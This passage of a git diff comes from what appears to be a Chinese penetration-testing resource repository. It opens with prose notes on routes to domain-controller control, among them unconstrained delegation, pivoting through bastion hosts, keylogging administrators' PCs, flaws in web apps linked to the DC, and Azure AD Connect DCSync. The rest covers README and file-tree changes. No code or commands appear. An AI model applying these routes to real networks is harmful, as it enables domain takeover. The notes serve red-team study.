+在windows域中,有一些服务,需要在其他服务器中执行用户的一些权限,此服务器中的服务账户就会被设置为委派。而如果服务账户被设置为非约束委派,则可通过此服务账户直接获取到域控的权限。 + +委派相关攻击:https://shu1l.github.io/2020/08/05/kerberos-yu-wei-pai-gong-ji-xue-xi/ + +## 八、通过域控运维堡垒机 + +通常在大型企业中,生产网和办公网直接都有隔离,运维人员需要通过堡垒机来对生产网的服务器进行管理。当域控运维人员的堡垒机和其他用户的堡垒机隔离偏弱时,攻击人员也可以通过堡垒机之间的横向移动来控制域控运维人员的堡垒机,从而实现对域控的控制。 + +## 九、通过运维人员的个人主机 + +域控运维人员,登陆域控的整个过程中,除了登陆的堡垒机设备外,还需要自己在办公网的办公机。通过内网鱼叉攻击获取横向移动手法,控制域控运维人员的办公机,并在办公机上进行keylogger和屏幕截图,来获取域控相关的权限。 + +## 十、通过与域控相关的web服务器 + +在大型企业中,企业运维人员,为了方便域控及其他重要服务器的管理和将自己的能力对公司内部其他部门提供相关服务,需要通过一个web平台来使用域控中的一些功能,或对域控进行管理。因此,会在web中配置与域控相关的信息,会直接与域控进行连接,可以通过在这种web系统中的一些越权或者RCE漏洞来实现对域控的控制。 + +此攻击思路可以参考ateam的从xxe到域控:https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/#4-xxe-to-%E5%9F%9F%E6%8E%A7 + +## 十一、通过微软AzureAD + +如果企业中有配置微软的Azure AD,并且开启密码hash同步(PHS),则获取到Azure AD连接同步账户,就能直接DC SYNC到整个域的hash。 + +Hacking Azure AD via Active Directory:https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf + +azuread connect for redteam:https://blog.xpnsec.com/azuread-connect-for-redteam/ + diff --git "a/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\211\213\346\234\272\347\263\273\347\273\237\345\256\211\345\205\250\345\256\241\350\256\241\346\224\273\351\230\262-\346\275\230\345\256\207.pdf" "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\211\213\346\234\272\347\263\273\347\273\237\345\256\211\345\205\250\345\256\241\350\256\241\346\224\273\351\230\262-\346\275\230\345\256\207.pdf" new file mode 100644 index 0000000..7ce42c0 Binary files /dev/null and "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\211\213\346\234\272\347\263\273\347\273\237\345\256\211\345\205\250\345\256\241\350\256\241\346\224\273\351\230\262-\346\275\230\345\256\207.pdf" differ diff --git "a/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\267\267\346\267\206\346\212\200\345\267\247\344\270\216\345\217\215\346\267\267\346\267\206-\345\260\217\346\263\242.pdf" "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\267\267\346\267\206\346\212\200\345\267\247\344\270\216\345\217\215\346\267\267\346\267\206-\345\260\217\346\263\242.pdf" new file mode 100644 index 0000000..bebc466 Binary files /dev/null and "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/Android\346\267\267\346\267\206\346\212\200\345\267\247\344\270\216\345\217\215\346\267\267\346\267\206-\345\260\217\346\263\242.pdf" differ diff --git "a/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/App\345\256\211\345\205\250\345\206\215\345\242\236\345\274\272 -- \342\200\234\346\227\240\346\263\225\342\200\235\350\204\261\345\243\263\347\232\204\345\212\240\345\233\272-\346\263\256\346\231\223\346\263\242.pdf" "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/App\345\256\211\345\205\250\345\206\215\345\242\236\345\274\272 -- \342\200\234\346\227\240\346\263\225\342\200\235\350\204\261\345\243\263\347\232\204\345\212\240\345\233\272-\346\263\256\346\231\223\346\263\242.pdf" new file mode 100644 index 0000000..830ae6f Binary files /dev/null and "b/03-\345\271\262\350\264\247\347\263\273\345\210\227/\347\247\273\345\212\250\345\256\211\345\205\250/App\345\256\211\345\205\250\345\206\215\345\242\236\345\274\272 -- \342\200\234\346\227\240\346\263\225\342\200\235\350\204\261\345\243\263\347\232\204\345\212\240\345\233\272-\346\263\256\346\231\223\346\263\242.pdf" differ diff --git "a/04-\345\244\247\344\274\232PPT/\346\234\252\345\210\206\347\261\273/\345\237\272\344\272\216IAST\346\212\200\346\234\257\347\232\204\347\201\260\347\233\222\345\256\211\345\205\250\346\265\213\350\257\225\345\267\245\345\205\267\344\272\247\345\210\206\346\236\220.pdf" "b/04-\345\244\247\344\274\232PPT/\345\256\211\345\205\250\345\273\272\350\256\276/\345\237\272\344\272\216IAST\346\212\200\346\234\257\347\232\204\347\201\260\347\233\222\345\256\211\345\205\250\346\265\213\350\257\225\345\267\245\345\205\267\344\272\247\345\210\206\346\236\220.pdf" similarity index 100% rename from "04-\345\244\247\344\274\232PPT/\346\234\252\345\210\206\347\261\273/\345\237\272\344\272\216IAST\346\212\200\346\234\257\347\232\204\347\201\260\347\233\222\345\256\211\345\205\250\346\265\213\350\257\225\345\267\245\345\205\267\344\272\247\345\210\206\346\236\220.pdf" rename to "04-\345\244\247\344\274\232PPT/\345\256\211\345\205\250\345\273\272\350\256\276/\345\237\272\344\272\216IAST\346\212\200\346\234\257\347\232\204\347\201\260\347\233\222\345\256\211\345\205\250\346\265\213\350\257\225\345\267\245\345\205\267\344\272\247\345\210\206\346\236\220.pdf" diff --git a/README.md b/README.md index cb47a12..a3daf05 100644 --- a/README.md +++ b/README.md @@ -8,6 +8,7 @@ ## 改动记录 + - [x] 2023-08-20 增加 域控权限维持、权限获取相关、移动安全相关 - [x] 2023-05-14 增加 域渗透、业务安全相关 - [x] 2022-12-01 增加 Window权限维持集合 - [x] 2022-08-12 增加 HW相关资料 @@ -21,9 +22,15 @@ 微信: drunk_kk (备注:git) ![image](https://github.com/awake1t/HackReport/blob/main/images/WeChat.jpg) +## 打赏 +如果对你有帮助,欢迎打赏,金额随意 +![image](https://github.com/awake1t/HackReport/blob/main/images/WeChat_pay.jpg) + + ## 目录 ``` python +. ├── 01-报告模板 │   ├── A-安全渗透测试报告模板.doc │   ├── APP安全检测报告-报告样例.pdf @@ -100,7 +107,9 @@ │   │   └── 深度学习与业务安全对抗实践.pdf │   ├── 域渗透 │   │   ├── 内网渗透指南.pdf -│   │   └── 域渗透一条龙.pdf +│   │   ├── 域控权限维持.md +│   │   ├── 域渗透一条龙.pdf +│   │   └── 获取域控权限.md │   ├── 我是如何挖物流行业安全漏洞的- Adam.pdf │   ├── 接口安全 │   │   ├── API数据接口安全.pdf @@ -108,6 +117,9 @@ │   │   ├── S-SDLC看API安全.pdf │   │   └── 接口安全设计规范V1.pptx │   ├── 移动安全 +│   │   ├── Android手机系统安全审计攻防-潘宇.pdf +│   │   ├── Android混淆技巧与反混淆-小波.pdf +│   │   ├── App安全再增强 -- “无法”脱壳的加固-泮晓波.pdf │   │   ├── App安全检测指南-V1.0.pdf │   │   ├── app测试方法大全.pdf │   │   └── 微信小程序安全测试.pdf @@ -132,14 +144,13 @@ │   │   └── 58沙龙-06-《58集团代码分析技术实践》-58.pdf │   ├── 安全建设 │   │   ├── 企业自建SOC安全运营的探索与实践.pdf +│   │   ├── 基于IAST技术的灰盒安全测试工具产分析.pdf │   │   ├── 火线-基于社区的企业安全服务平台.pdf │   │   └── 腾讯云原生数据安全解决方案.pdf │   ├── 攻防研究 │   │   ├── 剑走偏锋.蓝军实战缓解措施.pdf │   │   ├── 顶级域接管指南.pdf │   │   └── 高级攻防演练下的Webshell.pdf -│   ├── 未分类 -│   │   └── 基于IAST技术的灰盒安全测试工具产分析.pdf │   └── 火线 │   ├── 「企业级安全错误配置的攻防思考.303.v0.2.pptx │   ├── 对抗下的Java.Webshell的生存之道.pptx @@ -166,8 +177,6 @@ │   ├── 奇安信:红队视角下的防御体系突破.pdf │   └── 恶意挖矿程式防御指南.pdf ├── README.md -└── images - └── WeChat.jpg ``` diff --git a/images/WeChat.jpg b/images/WeChat.jpg index ec1f05f..7fc5560 100644 Binary files a/images/WeChat.jpg and b/images/WeChat.jpg differ diff --git a/images/WeChat_pay.jpg b/images/WeChat_pay.jpg new file mode 100644 index 0000000..da0e722 Binary files /dev/null and b/images/WeChat_pay.jpg differ diff --git a/tmp.txt b/tmp.txt new file mode 100644 index 0000000..425b1e7 --- /dev/null +++ b/tmp.txt @@ -0,0 +1,153 @@ +. +├── 01-报告模板 +│   ├── A-安全渗透测试报告模板.doc +│   ├── APP安全检测报告-报告样例.pdf +│   ├── B-Web安全服务渗透测试模板.docx +│   ├── 安全基线检查表 +│   │   ├── IDS(入侵检测)完整检查表.xlsx +│   │   ├── Linux完整检查表.xlsx +│   │   ├── MySQL完整检查表.xlsx +│   │   ├── Oracle完整检查表.xlsx +│   │   ├── SQL-server完整检查表.xlsx +│   │   ├── Tomcat完整检查表.xlsx +│   │   ├── WAF完整检查表.xlsx +│   │   ├── Weblogic完整检查表.xlsx +│   │   ├── windows完整检查表.xlsx +│   │   ├── 防火墙完整检查表.xlsx +│   │   └── 防火墙策略调研表.xlsx +│   ├── 安全运营周报(样例).docx +│   ├── 安全风险访谈表 +│   │   ├── 应用系统访谈表.docx +│   │   ├── 网络划分访谈表.docx +│   │   ├── 针对定向网络攻击主要风险分析访谈检查表.docx +│   │   └── 集权系统访谈表.docx +│   ├── 溯源分析报告(模板供参考).docx +│   └── 网络安全等级保护等级测评方案模板.docx +├── 02-资料文档 +│   ├── WEB安全检查项清单.xlsx +│   ├── web漏洞合集描述和修复建议.xlsx +│   ├── windows加固.xlsx +│   ├── 勒索病毒应急响应 自救手册(第二版).pdf +│   ├── 华为产品弱口令.xlsx +│   ├── 四千个厂商默认帐号密码、默认密码.xlsx +│   ├── 国内外设备默认口令整理.txt +│   ├── 国内防火墙默认密码.txt +│   ├── 威胁建模开发自查表V4.xlsx +│   ├── 安全意识 +│   │   ├── 信息安全意识培训.pptx +│   │   ├── 信息安全意识培训讲座.pdf +│   │   └── 信息安全意识测试200题.pdf +│   ├── 安全检查项清单.xlsx +│   ├── 常见安全产品系统默认口令清单.xlsx +│   ├── 应急演练 +│   │   ├── Linux 应急响应流程及实战演练.pdf +│   │   └── windows 应急流程及实战演练.pdf +│   ├── 数据泄露案例分析.xlsx +│   ├── 考个证 +│   │   └── CISP考试重点题库500套.pdf +│   ├── 金融数据安全 数据安全分级指南.pdf +│   ├── 金融数据安全 数据生命周期安全规范.pdf +│   └── 金融科技SDL安全设计Checklist-v1.0.xlsx +├── 03-干货系列 +│   ├── SRC奇淫技巧 +│   │   ├── SRC混子是怎样练成的.pdf +│   │   ├── 国内SRC漏洞挖掘经验和技巧分享.pdf +│   │   ├── 安恒信息:红队视角下又一个突破口,再看大国独有小程序.pdf +│   │   └── 论src漏洞挖掘的前期信息收集 .ppt +│   ├── Window权限维持整理 +│   │   ├── Window权限维持(一):注册表运行键.pdf +│   │   ├── Window权限维持(七):安全支持提供者.pdf +│   │   ├── Window权限维持(三):新服务.pdf +│   │   ├── Window权限维持(九):端口监视器.pdf +│   │   ├── Window权限维持(二):计划任务.pdf +│   │   ├── Window权限维持(五):屏幕保护程序.pdf +│   │   ├── Window权限维持(八):时间服务器.pdf +│   │   ├── Window权限维持(六):BITS Jobs.pdf +│   │   ├── Window权限维持(十一):PowerShell配置文件.pdf +│   │   ├── Window权限维持(十二):辅助功能.pdf +│   │   ├── Window权限维持(十):Netsh Helper DLL.pdf +│   │   └── Window权限维持(四):快捷方式修改.pdf +│   ├── 业务安全 +│   │   ├── 无“诈”不欢的互联网业务.pdf +│   │   ├── 无间道之顺藤摸瓜——蘑菇街背后的灰色产业链.pdf +│   │   ├── 机器学习在微博业务安全中的定位.pdf +│   │   ├── 机器学习风控实践与发展.pdf +│   │   └── 深度学习与业务安全对抗实践.pdf +│   ├── 域渗透 +│   │   ├── 内网渗透指南.pdf +│   │   ├── 域控权限维持.md +│   │   ├── 域渗透一条龙.pdf +│   │   └── 获取域控权限.md +│   ├── 我是如何挖物流行业安全漏洞的- Adam.pdf +│   ├── 接口安全 +│   │   ├── API数据接口安全.pdf +│   │   ├── Restful-API安全测试.pdf +│   │   ├── S-SDLC看API安全.pdf +│   │   └── 接口安全设计规范V1.pptx +│   ├── 移动安全 +│   │   ├── Android手机系统安全审计攻防-潘宇.pdf +│   │   ├── Android混淆技巧与反混淆-小波.pdf +│   │   ├── App安全再增强 -- “无法”脱壳的加固-泮晓波.pdf +│   │   ├── App安全检测指南-V1.0.pdf +│   │   ├── app测试方法大全.pdf +│   │   └── 微信小程序安全测试.pdf +│   ├── 红蓝对抗中的溯源反制实战.pdf +│   ├── 红蓝对抗之隐蔽通信应用及防御.pptx +│   ├── 记一次曲折而又有趣的渗透.pdf +│   └── 面经 +│   └── 渗透测试工程师面试题大全.pdf +├── 04-大会PPT +│   ├── 58同城第二届安全技术沙龙 +│   │   ├── 业务风控建设专场 +│   │   │   ├── 58沙龙-01-《安全画像在58同城的落地实践》-58.pdf +│   │   │   ├── 58沙龙-02-《零信任在中通黑灰产对抗的实践》-中通快递.pdf +│   │   │   ├── 58沙龙-03-业务风控中的前端对抗实践-脱敏版-同盾科技.pdf +│   │   │   └── 58沙龙-04-《快手营销反作弊实践》-快手.pdf +│   │   └── 应用安全实践专场 +│   │   ├── 58沙龙-01-《云工作负载防护分享》-字节跳动.pdf +│   │   ├── 58沙龙-02-《浏流量分析在应用安全中的探索实践》-腾讯.pdf +│   │   ├── 58沙龙-03-《业务漏洞挖掘案例与思考分享》-微博安全.pdf +│   │   ├── 58沙龙-04-API安全-快手.pdf +│   │   ├── 58沙龙-05-《洞态IAST》火线.pdf +│   │   └── 58沙龙-06-《58集团代码分析技术实践》-58.pdf +│   ├── 安全建设 +│   │   ├── 企业自建SOC安全运营的探索与实践.pdf +│   │   ├── 基于IAST技术的灰盒安全测试工具产分析.pdf +│   │   ├── 火线-基于社区的企业安全服务平台.pdf +│   │   └── 腾讯云原生数据安全解决方案.pdf +│   ├── 攻防研究 +│   │   ├── 剑走偏锋.蓝军实战缓解措施.pdf +│   │   ├── 顶级域接管指南.pdf +│   │   └── 高级攻防演练下的Webshell.pdf +│   └── 火线 +│   ├── 「企业级安全错误配置的攻防思考.303.v0.2.pptx +│   ├── 对抗下的Java.Webshell的生存之道.pptx +│   ├── 火器工程师的自我修养.pptx +│   └── 逆向在漏洞挖掘中的应用.pptx +├── 05-安全建设 +│   ├── 2-实战攻防中边界突破检测方案.pdf +│   ├── 3-字节跳动安全运营实践及攻防实战.pdf +│   ├── 4-字节跳动DDoS防护体系建设和实战.pdf +│   ├── 企业软件安全开发实践.pdf +│   └── 安全checklist.md +├── 06-HW资料专栏 +│   ├── 2022漏洞篇 +│   ├── 攻击篇 +│   └── 防守篇 +│   └── 防守队技战法模板 +│   ├── 借助威胁情报和自动化手段提升防护处置能力技战法.docx +│   ├── 技战法-以练代防增强钓鱼邮件的防护.docx +│   ├── 技战法-深壁固垒--互联网暴露面收缩.docx +│   └── 技战法-火眼金睛--态势感知攻击检测.docx +├── 07-其他 +│   ├── CobaltStrike4.0用户手册_中文翻译.pdf +│   ├── 勒索病毒应急与响应手册V1.0(完整版).pdf +│   ├── 奇安信:红队视角下的防御体系突破.pdf +│   └── 恶意挖矿程式防御指南.pdf +├── README.md +├── images +│   ├── WeChat.jpg +│   └── Wechat_pay.jpg +└── tmp.txt + +30 directories, 120 files